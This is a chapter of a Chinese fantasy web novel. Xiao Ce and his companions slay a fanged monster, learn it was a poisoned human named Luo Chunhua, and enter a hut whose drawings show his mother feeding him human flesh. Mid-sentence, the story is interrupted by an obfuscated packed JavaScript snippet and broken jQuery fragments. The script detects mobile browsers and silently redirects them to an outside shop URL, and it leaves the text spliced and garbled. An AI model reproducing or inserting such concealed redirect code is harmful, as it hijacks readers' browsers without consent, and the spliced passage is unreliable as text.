萧策一眼看向那面铜镜,又转而看向身旁和他手拉手的姜梨,一时间激动地说不出话来。
姜梨站在那面铜镜前,高悬的镜子和墙面形成了一个夹角,恰好可以映出她的身影。定睛看去,那镜子中她的身影之下,还有另一层景象,在不断运动变化。
“颂秋?”
姜梨开口唤道。
那头的人动作出现了明显的僵硬,随即四处张望起来,看来这就是出口了。
姜梨激动之下手心微微冒汗,萧策察觉到这一点,握着她的手更加用力,另一只手试探着向镜中的世界伸去。
虽然心中已经对即将发生的事有了预期,可当他亲眼看到自己的手穿过看似坚固的铜镜时,还是难以避免地睁大了双眼。
这手感太奇妙了,镜中的世界仿佛是水做的,但又比水更加浓稠,可手中又什么都没有抓到。
正思考着,一股强大的吸力便将他整个卷进了镜中,慌乱之中他下意识握紧了姜梨的手。
一阵熟悉的眩晕感之后,双脚重新感受到了踩在地面上的感觉。
迎面一阵夹杂着血气的醒风袭来,掀动了他鬓角的碎发。
下一刻一只手将他推向了另一边,转眼之前的的位置已经被另一个身影占据。
“跑啊!”
回过神来,姜梨看向他的眼神带了些恨铁不成钢,“你刚刚不要命了!”
萧策一时语塞,实在是变故来得太突然,他一时没能反应过来。经过姜梨这样一提醒,他毫不犹豫地拔出了佩剑,纵身加入了眼前的战斗。
萧策很快便进入了战斗状态,虽然实战经验比不上其他人,但在队友的配合下,合力压制住了獠牙怪,渐渐占了上风。
终于,萧策刺出了关键的一剑,直取那怪物的心口。
那怪物摇摇晃晃退后了几步,高大的身影轰然倒地。
孟长均和杨昭喘着粗气给他比了个大拇指。
“可以啊兄弟,半柱香的工夫没见,你这修为突飞猛进啊!”
“就是,老实说,是不是得了仙人指点,还是见到了什么修炼秘籍?”
而萧策的重点却放在了半柱香上,原来,才过去了这么久吗?
他有些不好意思地挠挠头,还要再问些什么,就见到余光中有什么东西一闪而过。
“我靠!”
萧策抬手一剑。
铮——
发出金属碰撞的声音。
这凭直觉的一击,震得萧策虎口发麻,来人也被震得后退一步,为他们赢得了反应的时间。
獠牙怪不知为何“复活”了。
这厮到底是个什么玩意儿?
居然杀不死!
萧策暗骂一声,刚才他明明将人捅了个对穿,也见证了他倒在地上一动不动血流遍地的样子。
躲在一旁观战的姜梨和颂秋也眉头紧皱,试图从对战中寻找出獠牙怪的破绽。
由于受伤,他的行动比之前缓慢了一些,但单凭一把蛮力和即将体力透支的三人打成了平手。
就在这时,姜梨好似发现了什么,蹲下身来,目光定格在那怪物的右脚踝处。
打斗之间,他破烂的裤脚像飞扬的彩旗,不经意露出了脚踝,上面绑着一根手编的红绳,颜色已经斑驳污糟,绳上缀着一枚银质的长命锁,也已经磨损得看不出上面的花纹图样。
随着萧策再次进攻的一剑,那怪物跳起来躲闪的时候,那银锁随着他的动作翻了起来,就在这时,姜梨看到银锁之下的皮肤,瞳孔一缩。
和他周身青紫的肤色不同,那块长命锁之下的皮肤透着和常人相同的光泽,谈不上光滑白皙,但也透着活人的生命力。
姜梨想到了什么,抬头向萧策喊道:“攻他右脚!”
萧策点头会意,在杨昭他们的帮助之下,一剑挑飞了那长命锁,接着调转剑锋,下一剑刺透了他的右脚踝。
剑刃划破皮肤,温热的、鲜红的血液泂泂流出。
这时,萧策才顿悟之前那强烈的违和感来自于哪里。
先前那自认为致命的一剑下去,并没有喷涌而出的鲜血,而是乌黑半凝固的血液从腐烂溃败的皮肉里缓缓流出。
这一击显然对那獠牙怪起到了关键的作用,他单脚着地挣扎了几下,便轰然倒地,一动不动了。
所有人都松了一口气,这一次,应该是真的死透了。
“你们看!”
颂秋一声惊呼,萧策条件反射般的将剑挡在身前,以为那怪物当真命硬,这都不死。
接下来的一幕景象令他瞠目结舌,只见那青面獠牙的怪物身体竟然开始慢慢发生了变化,原本的身高渐渐缩短成与常人无异的水平,皮肤的青紫色退褪去,变成和此时的脚踝皮肤一样惨淡的白色。就连露在外面的两根獠牙也消失不见。
这模样,俨然一个沉睡的人类男子。
“原来他……是人!”
萧策怔怔看着面前的尸体,口中喃喃道。一瞬间顿觉自己满手血腥,还以为自己为民除害了杀了害人的怪物,可到头来竟是残害了一个中了尸毒的可怜人吗?
似乎是看出他心中所想,姜梨上前轻轻捏了捏他因为紧张和愧疚而紧绷的手臂。
“你已经做的很好了,人有好坏,妖有善恶,面对攻击自己伙伴的怪物做出防卫,本身是一种很勇敢的行为。”
道理他都懂,就是心里莫名的不舒服。
萧策眼尾猩红,直直看着姜梨没有说话。即使心中明白,心软当不了大侠,可心中还是难以挥除现下心中酸涩的感觉。
“这写的是什么?”
一道声音打破了现场的沉默,颂秋弯腰捡起掉在地上的长命锁,银锁上依稀可以看到刻过字的痕迹。
“罗……罗日十?”
孟长均将那枚银锁拿起来细细的端详,辨认出:“罗春花。”
复而转头看向那躺在地上的尸体,“他叫罗春花。”
“这名字……”
颂秋欲言又止,她想说这个名字好土气。
姜梨开口道:“春华秋实,既然有名有姓,那他应当也有家人才对。”
名字代表了家人的期望,看起来是被家人好好爱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932830|186209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着的,可他如何来的冥界,又为什么吃尸体为生,把自己变成一个不人不鬼的怪物呢?
话音刚落,面前的尸山再次躁动起来,有了前车之鉴,几人戒备地远离了那片区域。
只不过和上一次不同,也许是已经破除了妖法的缘故,那尸山并没有吞人,而是变幻了形状,幻化成了一间小屋。
面对敞开的大门,几人面面相觑,虽然它的外貌形态变了,但想到那小屋之前的组成部分,大家还是心有余悸地按兵不动,直到萧策迈出了第一步。
说不紧张是假的,但他还是硬着头皮上了。
屋内的景象没有想象中的白骨森森,阴气重重,反而明亮温馨,像是有人在里面认真生活过的样子。
屋内的陈设很简单,家徒四壁,只有一张床和一盏灯。之所以说它温馨,是因为四周的墙壁上用炭笔笨拙地画满了图画。
从时间上来看,早期的线条比较潦草抽象,位置也偏下一些,一看就是小孩子的随意涂鸦。而视线上移,大概可以拼凑出大概的故事。
一个母亲含辛茹苦抚养孩子长大的故事。
令人匪夷所思的是,画中的母亲,只有模糊的一团身影,看不清面容,不知是作画者的水平有限,还是脑海中关于母亲的模样本身就很模糊。
孟长均转过身,顺着画的顺序看去,发现了一处不同寻常的地方。
“你们看,这个母亲给孩子吃的是什么?”
根本不像牲畜的身体部位,像是……
“是人肉!”
杨昭肯定道,从那形态上来看,就是一些人类的断手断脚。
萧策恍然大悟,原来罗春花的异食癖,便是那时形成的。可据说凡人如果同类相食,就会变成疯癫的怪物,并且也活不了多久。
可事实证明,他身上只应验了一部分。
“这罗春花竟然平安长大了,从这些画上看,儿时的他还是正常孩童的模样,后来变成怪物,和他的饮食脱不开关系。”
“一个母亲,为什么要亲手将自己的孩子变成怪物?难道……不是她亲生的?”
姜梨提出了不同的意见:“我觉得恰恰相反,刚才萧策说了,凡人如果同类相食,就会变成疯癫的怪物,并且也活不了多久。所以,有没有可能他所在的环境下只能吃这个为生,但由于其他的某些特定因素,化解了吃死人肉的副作用,让罗春花不那么正常地长大了。”
颂秋环视一圈四周不见天日的无边黑暗,赞同地点点头。
“在想什么?”
姜梨见孟长均孤零零站在一旁久久没有开口。
孟长均清了清嗓子道:“我在想,他的母亲,有没有可能不是人?”
因为不是人,所以她能给孩子最好的生活条件只能如此,在这暗无天日的冥界养育一个人类小孩只会更加不易。
这个猜想,是刚刚在墙上发现那模糊的身影时,便出现在孟长均的脑海中的。
“不愧是你啊孟兄,这样解释就合理了。”
萧策由衷地夸赞道,孟长均听到后扯了扯嘴角,露出一个微笑。